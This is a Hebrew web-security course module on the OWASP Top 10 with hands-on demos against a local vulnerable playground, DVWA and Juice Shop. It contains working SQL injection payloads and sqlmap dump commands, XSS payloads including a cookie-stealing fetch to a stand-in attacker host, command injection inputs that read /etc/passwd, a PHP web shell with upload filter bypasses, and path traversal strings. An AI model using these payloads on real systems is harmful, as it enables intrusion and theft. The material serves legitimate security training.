

מודול 9 — אבטחת אפליקציות Web (OWASP Top 10)

חומר לימוד

1 יחידות

תוכן העניינים

1. מודול 9 — אבטחת אפליקציות (OWASP Top 10) Web

■ הכול בגלילה אחת: כל החומר של המודול בקובץ אחד — חומר לימוד, תרגילים, תרגול ופתרונות, ברצף.

🎬 מודול מעשי — תפרוץ אפליקציית web! מלבד DVWA/Juice Shop, המודול כולל מגרש משחקים פגיע משלנו (`owasp_playground.py` — בלי Docker, פייתון בלבד) עם **SQL Injection**, **XSS** ו-**IDOR** אמיתיים. תעקוף התחברות, תזריק JavaScript ותגנוב נתונים של משתמש אחר — ותתפוס 3 דגלים. אחרי כל הדגמה: 🧠 בדוק את עצמך.

מודול 9 — אבטחת אפליקציות (OWASP Top 10) Web

מטרות המודול: לשלוט בחולשות ה-Web הנפוצות ביותר — **OWASP Top 10** — ולתרגל אותן מעשית על סביבות חוקיות (DVWA / OWASP Juice Shop). נתמקד ב-SQL Injection, XSS, Command Injection, Broken Access Control, File Upload/Inclusion ועוד, עם **Burp Suite** ו-**sqlmap**.
קבצים: `slides.md` · `practice.md` · `solutions.md` · `missions.md` · `README.md`.

למה זה הכי חשוב? אבטחת Web היא המיומנות המבוקשת ביותר בשוק — רוב הבדיקות החיצוניות ותוכניות ה-Bug Bounty הן web. שליטה כאן = ערך תעסוקתי מיידי.

תוכן העניינים

1. כיצד עובדת אפליקציית Web
2. OWASP Top 10 — סקירה
3. הקמת סביבת התרגול
4. SQL Injection
5. Cross-Site Scripting (XSS)
6. Command Injection
7. IDOR ו-Broken Access Control
8. File Inclusion ו-File Upload
9. שאר ה-Top 10
10. כלים והגנה

9.1 כיצד עובדת אפליקציית Web

לפני שתוקפים — צריך להבין את הזרימה: 1. הדפדפן שולח **בקשת** HTTP (GET/POST) לשרת. 2. השרת מריץ קוד (PHP/Python/Node), לרוב פונה ל**בסיס נתונים**. 3. השרת מחזיר **תשובת** HTTP (HTML/JSON). **החולשות נובעות מ"אמון" בקלט מהמשתמש**. אם הקלט לא מסונן, התוקף יכול להזריק קוד/פקודות. זהו השורש של רוב חולשות ה-Web.

 **הכלי המרכזי: Burp Suite** (מודול 5) — Proxy שמאפשר לראות ולערוך כל בקשה. כאן נשתמש בו לעומק: **Repeater** (שליחה חוזרת ועריכה) ו-**Intruder** (אוטומציה).

9.2 OWASP Top 10 — סקירה

OWASP Top 10 היא רשימת עשר קטגוריות החולשות הקריטיות ביותר באפליקציות Web (מתעדכנת מדי כמה שנים):

#	קטגוריה	דוגמה
A01	Broken Access Control	גישה למשאב של משתמש אחר (IDOR)
A02	Cryptographic Failures	סיסמאות/מידע ללא הצפנה
A03	Injection	SQLi, Command Injection, XSS
A04	Insecure Design	פגם עיצובי מבני
A05	Security Misconfiguration	הגדרות ברירת מחדל, דיבוג פתוח
A06	Vulnerable Components	ספרייה/רכיב עם CVE ידוע
A07	Auth Failures	סיסמאות חלשות, Session לקוי
A08	Data Integrity Failures	Deserialization לא בטוח
A09	Logging & Monitoring Failures	חוסר ניטור
A10	SSRF	הכרחת השרת לפנות ליעד פנימי

 נתמקד במעשיות ביותר לניצול: Injection (SQLi, Command, XSS), Broken Access Control, ו-File Upload/Inclusion.

9.3 הקמת סביבת התרגול

חוקי בלבר — סביבות שנבנו לתרגול: - **DVWA (Damn Vulnerable Web Application)** — אפליקציית PHP פגיעה בכוונה, עם רמות קושי. - **OWASP Juice Shop** — אפליקציית Node מודרנית עם +100 אתגרים.

```
# Docker מהיר עם Juice Shop הרצת:  
sudo apt install docker.io -y  
sudo docker run -d -p 3000:3000 bkimminich/juice-shop  
# גלוש ל http://localhost:3000  
  
# DVWA או דרך Metasploitable לרוב מגיע עם - Docker:  
sudo docker run -d -p 80:80 vulnerables/web-dvwa
```

חלופה: אתרי תרגול מקוונים כמו **PortSwigger Web Security Academy** (חינמי, מצוין).

החלופה הקלה ביותר — מגרש המשחקים שלנו (בלי Docker, בלי התקנות):

```
python3 owasp_playground.py # http://127.0.0.1:5000 – השאר רץ לאורך המודול
```

👁️ שלוש חולשות אמיתיות: SQLi ב- /login , XSS ב- /search , IDOR ב- /profile . נשתמש בו בכל ההדגמות הבאות.

9.4 SQL Injection (SQLi)

הדגל של OWASP. קורה כשקלט משתמש מוכנס ישירות לשאילתת SQL. התוקף "בורח" מהקשר הנתונים ומזריק SQL משלו.

הרעיון

שאילתה פגיעה בשרת:

```
SELECT * FROM users WHERE username='INPUT' AND password='INPUT';
```

אם נזין בשם המשתמש: `' OR '1'='1' --` השאילתה הופכת ל:

```
SELECT * FROM users WHERE username='' OR '1'='1' -- ' AND password='';
```

`'1'='1'` תמיד אמת, וה- `--` מבטל את השאר → **עוקפים התחברות**.

Payloads נפוצים

```
' OR '1'='1' --      עקיפת התחברות
' OR 1=1 --
admin' --             admin-התחברות כ
' UNION SELECT null,version() --  שלילת מידע (UNION-based)
' AND SLEEP(5) --      Blind SQLi (מבוסס-זמן)
```

סוגי SQLi

- **In-band (Union-based)** — התוצאה חוזרת ישירות בדף.
- **Blind** — אין פלט ישיר; מסיקים לפי תגובת אמת/שקר (Boolean) או השהיה (Time-based).

אוטומציה עם sqlmap

```
sqlmap -u "http://target/page.php?id=1" --dbs      # רשימת בסיסי נתונים
sqlmap -u "http://target/page.php?id=1" -D shop --tables # טבלאות
sqlmap -u "http://target/page.php?id=1" -D shop -T users --dump # שאיבת נתונים
sqlmap -r request.txt --batch                      # Burp-מבקשה שנשמרה מ
```

⚠️ sqlmap עוצמתי ורועש — הרץ רק על יעדים מורשים.

🎬 הדגמה — נסה בעצמך: עקוף התחברות עם SQLi

נעקוף מסך התחברות בלי לדעת את הסיסמה — קלאסיקה של OWASP.

צעד 1 — **ודא שהמגרש רץ** (python3 owasp_playground.py), וגלוש ל- `http://127.0.0.1:5000/login`.

צעד 2 — **התחברות רגילה נכשלת**: נסה `wrong / admin` → “התחברות נכשלה”. אין לך את הסיסמה.

צעד 3 — **הזרק SQL בשם המשתמש**: הזן בשדה המשתמש:

```
' OR '1'='1' --
```

(בשדה הסיסמה — כל דבר.) לחץ התחבר. 🙄 **נכנסת!** ברוך הבא + `flag{sql_injection_auth_bypass}`. מהטרמינל:

```
curl -s --data-urlencode "user=' OR '1'='1' -- " --data-urlencode "pass=x" 127.0.0.1:5000/login |
```

צעד 4 — הבן למה: השרת בנה `SELECT ... WHERE user='' OR '1'='1' -- ' AND pass='...'` ה- ' סגר את המחרוזת, `OR '1'='1'` תמיד אמת, ו- `--` ביטל את בדיקת הסיסמה.

🎯 **מה קרה כאן:** הקלט שלך "ברח" מהקשר הנתונים והפך ל**קוד SQL**. **הגנה:** Prepared Statements (פרמטרים) — שם הקלט אף פעם אינו קוד. (המגרש משתמש בהם בבדיקה השנייה, ולכן זיהה שרימית.)

🧠 **בדוק את עצמך:** מה מנטרל SQL Injection בצורה הטובה ביותר? (א) להסתיר את הודעות השגיאה - (ב) **Prepared Statements / Parameterized Queries** — הפרדת קוד מנתונים - (ג) HTTPS

✅ **תשובה: ב** — שאילתות פרמטריות מפרידות בין הקוד לקלט, כך שקלט המשתמש לעולם אינו מתפרש כ-SQL. סינון בלבד שביר.

Cross-Site Scripting (XSS) 9.5

XSS מזריק **JavaScript** לדף, שרץ בדפדפן של קורבן אחר. משמש לגניבת Session, פישנינג, והשתלטות על חשבונות.

שלושה סוגים

סוג	תיאור
Reflected	ה-payload בבקשה, חוזר מיד בתשובה (לינק זדוני)
Stored	ה-payload נשמר בשרת (תגובה/פרופיל), פוגע בכל מי שצופה
DOM-based	הפגם ב-JavaScript בצד הלקוח

Payloads לבדיקה

```
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
"><script>alert(document.cookie)</script>
```

תקיפה אמיתית — גניבת Cookie

```
<script>fetch('http://attacker/c='+document.cookie)</script>
```

ה-Cookie של הקורבן נשלח לתוקף → חטיפת Session.

Stored XSS הוא החמור ביותר — פוגע בכל המשתמשים שרואים את התוכן, ללא צורך בלינק.

🎬 הדגמה — נסה בעצמך: הזרק (Reflected XSS) JavaScript

נזריק קוד שהדפדפן של הקורבן יריץ — הבסיס לגניבת Session.

צעד 1 — חיפוש רגיל: גלוש ל- `http://127.0.0.1:5000/search?q=hello`. הדף מחזיר “חיפשת: hello”.

צעד 2 — החלף את החיפוש ב-Payload. בשורת הכתובת:

```
http://127.0.0.1:5000/search?q=<script>alert('XSS')</script>
```

👁️ **חלון קופץ (alert)!** הדפדפן הריץ את ה-JavaScript שלך. הדף גם מציג `flag{reflected_xss_no_output_encoding}`.

צעד 3 — ראה שהקוד לא סונן (מהטרמינל):

```
curl -s "http://127.0.0.1:5000/search?q=<script>alert(1)</script>" | grep "script"
```

👁️ ה- `<script>` חוזר בתשובה **כמו שהוא** — השרת לא ביצע Encoding.

צעד 4 — תקיפה אמיתית: במקום `alert`, תוקף היה שולח לקורבן קישור עם:

```
<script>fetch('http://attacker/c='+document.cookie)</script>
```

כשהקורבן לוחץ — ה-Cookie שלו נשלח לתוקף → **חטיפת Session**.

🎯 **מה קרה כאן:** קלט המשתמש הוחזר לדף בלי Encoding, כך שהדפדפן פירש אותו כקוד. **הגנה:** Output Encoding (המרת `<` ל- `<`) + CSP.

🧠 **בדוק את עצמך:** מה מונע Reflected XSS (א - קידוד הפלט (Output Encoding)) — הצגת `<script>` כטקסט ולא כקוד - (ב) שימוש ב-POST במקום GET - (ג) הסתרת שם השרת

✅ **תשובה: א** — Output Encoding הופך תווים מיוחדים (`<`, `>`, `"`) לישויות HTML, כך שהדפדפן מציג אותם כטקסט ולא מריץ אותם.

Command Injection 9.6

קורה כשאפליקציה מריצה פקודות מערכת עם קלט משתמש. התוקף מזריק פקודות נוספות.

הרעיון

דף שמבצע ping על קלט:

```
system("ping -c 1 " . $_GET['ip']);
```

קלט: 8.8.8.8; whoami → מריץ גם whoami.

מפרידי פקודות

; command	הרצה ברצף
command	pipe
&& command	אם הקודם הצליח
`command`	substitution
\$(command)	

דוגמאות

```
127.0.0.1; whoami
127.0.0.1 && cat /etc/passwd
127.0.0.1 | id
```

ישירות ל-Shell (מודול 7). — Command Injection = **RCE (Remote Code Execution)** 🎯 — מהחולשות החמורות ביותר; מוביל

הדגמה — נסה בעצמך: RCE → Command Injection 🎬

כבר בנינו לזה מטרה מלאה במודול 7! חזור על ההדגמה כאן בהקשר Web.

צעד 1 — הפעל את אפליקציית ה"אבחון" ממודול 7:

```
python3 ../07-exploitation/vuln_webapp.py # http://127.0.0.1:8080
```

צעד 2 — הזרק פקודה (ה-; מסיים את ה-ping ומריץ פקודה משלך):

```
curl -s "127.0.0.1:8080/ping?host=127.0.0.1;id" # על השרת id הרצת
curl -s "127.0.0.1:8080/ping?host=x;cat%20/etc/hostname" # קריאת קובץ
```

👁️ הפלט מכיל uid=... — RCE אמיתי. (הפירוט המלא, כולל שדרוג ל-Reverse Shell, במודול 7.10§).

🎯 **מה קרה כאן:** קלט משתמש הגיע ל-shell. ב-Web זה קטלני — מ-שדה טופס תמים ל-shell על השרת. **הגנה:** לעולם לא shell=True עם קלט; ולידציה קפדנית.

🧠 **בדוק את עצמך:** למה Command Injection נחשבת מהחולשות החמורות ביותר? - (א) היא מאטה את האתר - (ב) היא מאפשרת הרצת קוד כלשהו על השרת (RCE) — שליטה מלאה - (ג) היא חושפת רק את שם השרת

✅ **תשובה: ב** — הרצת פקודות שרירותיות = RCE = הדרך הישירה ל-Shell ולשליטה מלאה במערכת.

IDOR-1 Broken Access Control 9.7

A01 — החולשה הנפוצה ביותר. המשתמש ניגש למשאב/פעולה שאסורים לו.

IDOR (Insecure Direct Object Reference)

כשמזהה משאב חשוף וניתן לשינוי:

```
http://site/account?id=1001 ← החשבון שלי
http://site/account?id=1002 ← החשבון של מישהו אחר
```

פשוט משנים את המספר → גישה לנתוני אחרים.

דוגמאות נוספות

- גישה ל- /admin ללא הרשאת מנהל (Forced Browsing).
- שינוי role=user ל- role=admin בבקשה (ב-Burp).
- מחיקת/עריכת רשומה של משתמש אחר.

🔍 בדיקת IDOR: החלף מזהים (id, user, order) וראה אם אתה ניגש למשאבים שאינם שלך. פשוט אך קטלני.

🎬 **הדגמה — נסה בעצמך:** גנוב פרופיל של משתמש אחר (IDOR) 🚩

החולשה הכי נפוצה ב-OWASP, והכי קלה לניצול — פשוט משנים מספר.

צעד 1 — צפה בפרופיל שלך (במגרש המשחקים שרץ):

```
curl -s "127.0.0.1:5000/profile?id=1" # guest – שלך
```

👁 רואה את הנתונים של משתמש 1. שים לב ל- `id=1` בכתובת.

צעד 2 — פשוט שנה את המספר:

```
curl -s "127.0.0.1:5000/profile?id=2" # לא שלך – alice!  
curl -s "127.0.0.1:5000/profile?id=3" # admin!
```

👁 קיבלת את הפרופיל של **admin**, כולל ההערה הפרטית: `flag{idor_exposed_admin_profile}`.

צעד 3 — הבן למה: השרת שלך לפי ה-`id` שביקשת **בלי לבדוק** שהוא שייך למשתמש המחובר. אין בקרת גישה.

🎯 **מה קרה כאן:** המזהה היה חשוף וניתן לשינוי, והשרת סמך עליו. שינוי מספר בודד = גישה לנתוני כולם. **הגנה:** בדיקת הרשאה בצד השרת לכל בקשה (האם המשתמש רשאי לראות את המשאב הזה?).

🏆 **אתגר:** כמה משתמשים יש במערכת? עבור על `id=1,2,3,4...` עד שתמפה את כולם (Enumeration).

🧠 **בדוק את עצמך:** מהו IDOR? (א) הצפנה חלשה - (ב) גישה למשאב של משתמש אחר ע"י שינוי מזהה חשוף, בהיעדר בדיקת הרשאה בשרת - (ג) הזרקת JavaScript

✅ **תשובה: ב** — Insecure Direct Object Reference: המזהה חשוף וניתן לשינוי, והשרת לא מוודא בעלות/הרשאה — אז משנים אותו וניגשים לנתוני אחרים.

File Inclusion (LFI/RFI)-ו- File Upload 9.8

העלאת קבצים (File Upload)

אם אפשר להעלות קובץ בלי סינון סוג — מעלים **Web Shell**:

```
<?php system($_GET['cmd']); ?>
```

מעלים כ- `shell.php`, ואז `http://site/uploads/shell.php?cmd=whoami` → RCE. עקיפות סינון נפוצות: `shell.php.jpg`, `shell.pHp`, שינוי `Content-Type` ב-Burp.

הכללת קבצים (File Inclusion)

- **LFI (Local File Inclusion)**: קריאת קבצים מהשרת:

```
http://site/page.php?file=../../../../etc/passwd
```

- **RFI (Remote File Inclusion)**: הכללת קובץ מרוחק (זדוני) → RCE.

🎯 File Upload ו-RFI מובילים ל-LFI; **RCE** חושף קבצים רגישים (סיסמאות, קונפיג) ולעיתים מוסלם ל-RCE (Log Poisoning).

9.9 שאר OWASP Top 10 (בקצרה)

- **CSRF (Cross-Site Request Forgery)** — הכרחת המשתמש לבצע פעולה לא רצויה (למשל שינוי סיסמה) דרך בקשה מזויפת. הגנה: CSRF Tokens.
- **SSRF (Server-Side Request Forgery)** — הכרחת השרת לפנות ליעד פנימי (http://localhost/admin, מטא-דאטה של ענן).
- **Authentication Failures** — סיסמאות חלשות, Session ID צפוי, חוסר Rate-limiting (קשור למודול 8).
- **Security Misconfiguration** — דפי ברירת מחדל, הודעות שגיאה חושפניות, דיבוג פתוח, פורטים מיותרים.
- **Vulnerable Components** — ספרייה/Framework עם CVE ידוע (מתחבר ל-searchsploit, מודול 6).
- **Cryptographic Failures** — HTTP במקום HTTPS, אחסון סיסמאות ללא Hash.

9.10 כלים והגנה

כלים

- **Burp Suite** — הכלי המרכזי: **Proxy** (יירוט), **Repeater** (עריכה ושליחה חוזרת), **Intruder** (אוטומציה/Fuzzing), **Decoder**.
- **sqlmap** — אוטומציית SQLi.
- **ffuf / gobuster** — גילוי נתיבים וקבצים.

הגנה (להמלצות בדוח — מודול 16)

- **Input Validation & Sanitization** — לעולם אל תסמוך על קלט משתמש.
- **Parameterized Queries (Prepared Statements)** — מונע SQLi.
- **Output Encoding** — מונע XSS.
- בקרת גישה בצד השרת — לכל בקשה, לא רק ב-UI.
- **CSP, HTTPS, CSRF Tokens, MFA**

סיכום המודול

- חולשות Web נובעות מאמון בקלט משתמש; Burp הוא הכלי המרכזי.
- **OWASP Top 10** מסכם את הקטגוריות הקריטיות.
- **Injection: SQLi** (עקיפת התחברות, sqlmap), XSS (גניבת Session), Command Injection (RCE).
- **Broken Access Control / IDOR** — הנפוץ ביותר; שינוי מזהים.
- **File Upload / LFI / RFI** — מובילים ל-RCE ולחשיפת קבצים.
- **הגנה**: Prepared Statements, Output Encoding, בקרת גישה בשרת, MFA.

מה הלאה?

→ **missions.md** — פתרונות — **solutions.md** · תרגול ותרחישים — **practice.md** →

מודול 10 — **Buffer Overflow**

← חזרה למפת הקורס